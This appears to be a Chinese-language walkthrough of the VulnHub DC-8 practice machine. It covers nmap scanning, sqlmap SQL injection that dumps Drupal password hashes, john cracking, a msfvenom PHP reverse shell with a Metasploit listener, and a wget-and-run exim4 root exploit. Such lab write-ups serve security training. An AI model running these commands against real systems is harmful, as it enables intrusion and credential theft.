VulnHub靶机 DC-8 打靶 详细渗透过程
字数 1077 2025-08-19 12:42:09
DC-8 靶机渗透测试详细教学文档
1. 靶机环境准备
- 靶机下载地址: https://www.vulnhub.com/entry/dc-8,367/
- 将下载的靶机镜像导入到虚拟机软件中(如VMware或VirtualBox)
2. 信息收集阶段
2.1 主机发现
使用以下命令发现目标IP地址:
arp-scan -l
# 或
nmap -sn 192.168.0.0/24
假设发现目标IP为: 192.168.0.105
2.2 端口扫描
nmap -p- 192.168.0.105
扫描结果显示开放了:
- 80端口(HTTP服务)
- 22端口(SSH服务)
2.3 服务版本探测
nmap -p80 -sV -A 192.168.0.105
2.4 Web指纹识别
whatweb http://192.168.0.105
识别出网站使用Drupal CMS搭建
3. Web渗透阶段
3.1 SQL注入漏洞发现
访问网站后,发现URL中有nid参数:
http://192.168.0.105/?nid=1
尝试修改nid参数值,观察响应变化,可能存在SQL注入漏洞。
3.2 使用sqlmap进行自动化注入测试
- 获取当前数据库:
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba --batch --dbs
结果:
- 当前数据库:
d7db - 不是DBA权限
- 枚举数据库中的表:
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db --tables
- 查看users表的列:
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db -T users --columns
- 提取用户名和密码:
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db -T users -C "name,pass" --dump
3.3 密码破解
将获取的hash保存到文件(如1.txt),使用john进行破解:
john 1.txt
结果:
- 用户
john的密码被破解为turtle
3.4 后台发现与登录
使用dirsearch进行目录扫描:
dirsearch -u http://192.168.0.105/ -i 200
发现后台登录页面后,使用获取的凭据登录:
- 用户名:
john - 密码:
turtle
4. 获取Shell
4.1 生成PHP反弹shell
使用msfvenom生成PHP反弹shell代码:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=8888 -f raw
将生成的PHP代码插入到网站中可以执行PHP代码的地方(如某些表单或模块配置中)
4.2 设置监听
在攻击机上设置Metasploit监听:
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
exploit
成功获取www-data权限的shell
4.3 稳定shell
在获取的shell中执行:
python -c "import pty;pty.spawn('/bin/bash')"
5. 权限提升
5.1 查找SUID文件
find / -perm -u=s -type f 2>/dev/null
发现exim4可能存在问题
5.2 检查exim4版本
exim4 --version
5.3 搜索exim4漏洞
searchsploit exim 4
找到相关漏洞利用脚本: 46996.sh
5.4 下载并执行exp
- 在攻击机上:
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /opt/exp.sh
python -m http.server 8080
- 在靶机上:
wget http://192.168.0.106:8080/exp.sh
chmod 755 exp.sh
./exp.sh -m netcat
成功获取root权限
6. 总结
完整渗透流程:
- 主机发现 → 2. 端口扫描 → 3. 服务探针 → 4. 指纹识别 →
- 发现SQL注入点 → 6. 获取凭据 → 7. 登录后台 →
- 上传PHP反弹shell → 9. 获取初始访问 → 10. 提权(root)
关键点:
- 通过nid参数发现SQL注入漏洞
- 使用sqlmap提取数据库中的用户凭据
- 通过john破解hash获取后台访问权限
- 利用exim4的SUID漏洞进行提权